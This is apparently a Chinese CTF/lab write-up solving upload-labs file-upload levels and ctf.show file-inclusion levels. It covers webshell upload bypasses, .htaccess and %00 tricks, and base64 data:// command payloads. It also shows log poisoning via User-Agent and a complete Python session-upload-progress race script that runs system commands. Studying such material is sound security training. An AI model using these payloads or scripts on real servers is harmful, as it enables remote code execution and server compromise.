前言

本文记录对文件上传和文件包含漏洞的练习

正文

文件上传

原理:上传文件的时,如果未对上传的文件进行严格的验证和过滤,就容易造成文件上传漏洞,上传脚本等。导致网站甚至整个服务器被控制,恶意的脚本文件又称为WebShell,WebShell具有强大的功能,如查看服务器目录、执行系统命令等,十分危险。

利用方式:先寻找上传点,比如头像处,只要能找到上传点就有机会

靶场训练:upload靶场

1关

前端 js 验证

直接上传php文件发现 限制了文件后缀

抓包试试

开启代理后点击上传还是在前台显示弹窗,说明这是前台的 js 限制

查看源代码,的确如此

直接F12 修改 js ,将php设为允许(不成功,无法修改)

或者将php文件改为允许的后缀名,抓包后在修改回php即可绕过前端的验证

随后使用文件所在路径 http://127.0.0.1/upload-labs-master/upload/3.php 用蚁剑连接即可

2关

仅判断content-type,修改content-type绕过,修改为image/jpeg、image/png、image/gif任何一个都可以。

MIME类型限制

直接上传.php文件显示格式不允许,抓包后发现 MIME 类型为 application/octet-stream 尝试把它改成 image/jpeg ,放包,成功

3关

黑名单 不允许上传.asp,.aspx,.php,.jsp后缀文件

尝试绕过大小写绕过 pHp,失败。尝试替代品但是又能以php的形式解析的 php3 ,php5,phtml

成功,连接格式 GBK– base64(不是php后缀无法使用蚁剑连接)

4关

黑名单 禁止(”.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.php1”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”.pHp1”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.ini”)

可以上传 .htaccess

.htaccess文件,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

上传一个.htaccess文件,在里面写入

1
SetHandler application/x-httpd-php

这样所有文件都会解析为php。然后我们再上传图片马,就可以成功解析了

5关

黑名单 禁止(”.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess”)

但是没有大小写转换。抓包,改文件名为 .PHp 大小写绕过

6关

黑名单 禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!

但是 $file_ext = trim($file_ext); //首尾去空 ,我们可以在a.php前或后加一个或多个空格绕过

7关

黑名单 禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

但是$file_name = deldot($file_name);//删除文件名末尾的点,所以我们可以在 .php后缀名后加 . 进行绕过

**8关 **

黑名单 禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

但是$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA,所以我们可以在 .php后缀名处加上 ::$DATA 变成 .php::$DATA 绕过

**9关 **

黑名单 禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件

但是$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; ,路径拼接的是处理后的文件名,于是构造info.php. . (点+空格+点),经过处理后,文件名变成info.php.,即可绕过

10关

只允许上传.jpg|.png|.gif后缀的文件!

1
2
3
4
5
6
7
8
9
10
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);将黑名单后缀名替换为空

解释
str_ireplace(find,replace,string,count)
参数 描述
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数

绕过,大小写失败,双写绕过成功

11关

白名单 $_GET传参save_path

会从文件名中去除.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess字符!

$img_path直接拼接,因此可以利用**%00截断**绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
strrpos() 定义和用法 
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。 注释:strrpos() 函数对大小写敏感。
相关函数:
stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
语法
strrpos(string,find,start)
参数 描述
string 必需。规定被搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定在何处开始搜索。

substr() 这里写代码片语法
substr(string,start,length)
参数 描述
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾开始的指定位置开始0 - 在字符串中的第一个字符处开始 length 可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回的长度负数 - 从字符串末端返回的长度


截断条件:
php版本小于5.3.4 详情关注CVE-2006-7243
php的参数开关上设置里magic_quotes_gpc为OFF状态

在请求头 sava_path=../upload/a.php%00 截断,上传

12关

白名单 $_POST传参save_path

还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码

添加一个1.php+(任意名称)

2b代表二进制这里的2b对应的就是**+**号,将2b改成00,即可成功截断,1.php也可成功上传利用

13关

本pass上传路径可控
图片马
验证上传文件类型的方法是:通过判断上传文件的前两个字节来判断的,所以直接上传图片马即可绕过.jpg和.png检查,制作方法
copy 1.jpg /b + info.php /a shell.jpg
1.jpg是一个图片,info.php写入一句话木马的文件,shell.jpg复制后的文件
使用文件包含漏洞,读取上传的文件
可以写一个include.php:

1
2
3
4
<?php
$file=$_GET['page'];
include($file);
?>

上传文件后查看返回包,获取文件绝对路径

访问:http://127.0.0.1/upload-labs-master/upload/include.php?page=upload/a.jpg解析

14关

这里使用getimagesize获取文件类型

1
2
3
 getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。

如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING 级的错误。

利用图片马就可进行绕过,和上一关一样

15关

利用exif_imagetype(),判断文件类型,Pass-13的方法即可绕过

16关

使用imagecreatefromjpeg()来判断文件类别,已可以使用 Pass-13 的方法。

原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的

17关文件异常

18关

像Pass-13一样可以上传图片马

19关文件异常

文件包含

通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,导致意外的文件泄漏甚至恶意代码注入。

以下服务器位于 Linux 下

1关

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

data协议:

1
2
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
data协议 php5.2.0起,数据流封装器开始有效
data伪协议的一些格式:

data://,<文本数据>

data://text/plain,<文本数据>

data://text/html,<html代码>

data://text/css,<CSS代码>

data://text/javascript,<js代码>

data://text/gif;base64,<base64编码的gif图片数据>

使用 data 协议查询文件

data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

之后尝试使用 data 协议执行 cat 命令,失败了。改用 php:// 协议的 filter 类型

?file=php://filter/read=convert.base64-encode/resource=flag.php,结果进行 base64 解码,出 flag

2关

1
2
$file = str_replace("php", "???", $file);
将代码中的 php 用 ??? 替代

所以我们使用 data 协议的时候进行 base64 一下

1
2
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= //查询
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== //(<?php system('cat flag.php');?>

3关

1
2
3
4
5
6
7
8
9
源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);//替代,使用base64
$file = str_replace("data", "???", $file);//替代,data不能用了
include($file);
}else{
highlight_file(__FILE__);
}

使用日志 getshell ,文件包含日志 ?file=/var/log/nginx/access.log,抓这个包,然后将User-Agent 改成一句话木马,放包。

蚁剑 连接http://xxx?file=/var/log/nginx/access.log,输入密码连接,找到flag

4关

1
2
3
4
5
6
7
8
9
10
源码
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);//替换
$file = str_replace("data", "???", $file);//替换
$file = str_replace(":", "???", $file);//替换
include($file);
}else{
highlight_file(__FILE__);
}

解法和3关一样

5关

5~9过滤严重,都要利用 session 文件,利用session.upload_progress进行文件包含

此特性在 PHP5.4版本 及 以上 可用

1
2
3
4
5
6
7
8
9
10
11
源码
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

我们看到,题目过滤了.,只能找一个不带.路径的文件,所以选择了 session 会话文件

介绍:

session是以文件的形式保存的
php.ini中有个配置项–session.save_path= “”;这个里面填写的路径,将会使session文件保存在该路径下。

session文件的命名格式是:sess_[PHPSESSID的值]。每一个文件,里面保存了一个会话的数据。其实只要使用代码$_SESSION[‘user_id’] = $value;就会促发php的session机制,结果往对应的session文件中写入一个值。
利用前要弄明白下面几个点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1.session文件默认路径
默认路径:
linux: /tmp 或 /var/lib/php/session
Windows:C:\WINDOWS\Temp

2.session文件名称
默认文件名称是 sess_[PHPSESSID的值]
ps: session.use_strict_mode默认值为0, 此时用户是可以自己定义Session ID
比如,我们在Cookie里设置PHPSESSID=test,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO

3.session生成机制:
a. 代码里面有session_start()在使用类似$_SESSION['user_id'] = $value;这样的操作时会创建session文件
b. 如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start(),但默认情况下,这个选项都是关闭的。

4.如何控制session文件内容
a. session的key或者value等可控
b.利用session.upload_progress
在session.upload_progress.enabled = on的配置下,upload_progress功能开始.意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度,上传文件名等)存储在session当中 ,但是要注意session.upload_progress.cleanup = on配置,on表示当文件上传结束后,php将会立即清空对应session文件中的内容(可以利用条件竞争来读取)
session.uoload_progress一些别的配置:
session.upload_progress.prefix 默认值为upload_progress_
session.upload_progress.name : The name of the key to be used in $_SESSION storing the progress information.Defaults to “PHP_SESSION_UPLOAD_PROGRESS”
如 session.upload_progress.prefix = 'upload_progress_' session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'的条件下,上传文件:

// PHPSESSION = test
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
就会在session的session[‘upload_progress_123’]中储存一些本次上传相关的信息,储存在/tmp/sess_test

使用这个脚本,基本都可以利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading

sessID = 'flag'
url = 'http://9449993b-3df1-4b4a-a8e9-7e20f9155dc4.challenge.ctf.show:8080/'


def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
files={'file': ('test.txt', f)}
)


def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

6关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
源码
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

include($file);
}else{
highlight_file(__FILE__);
}

7关

1
2
3
4
5
6
7
8
9
10
11

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);

8关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}

}else{
highlight_file(__FILE__);
}

9关(无法加载)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);


}else{
highlight_file(__FILE__);
}

10关

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

11关

1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

没有过滤 :,使用 data 。?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

这是直接 cat fl0g.php 而在执行 ls 的时候失败了,因为不能出现等号和加号,所以构造的一句话木马还是有技巧的

1
2
3
<?php system("tac fl*");
base64后
PD9waHAgc3lzdGVtKCJ0YWMgZmwqIik7

有许多命令都可以查看文件,不同的命令有不同的优点,可以针对不同的需要分别选择命令以提高效率:
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号

12关

页面是一个电影视频混剪,无法加载

13关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);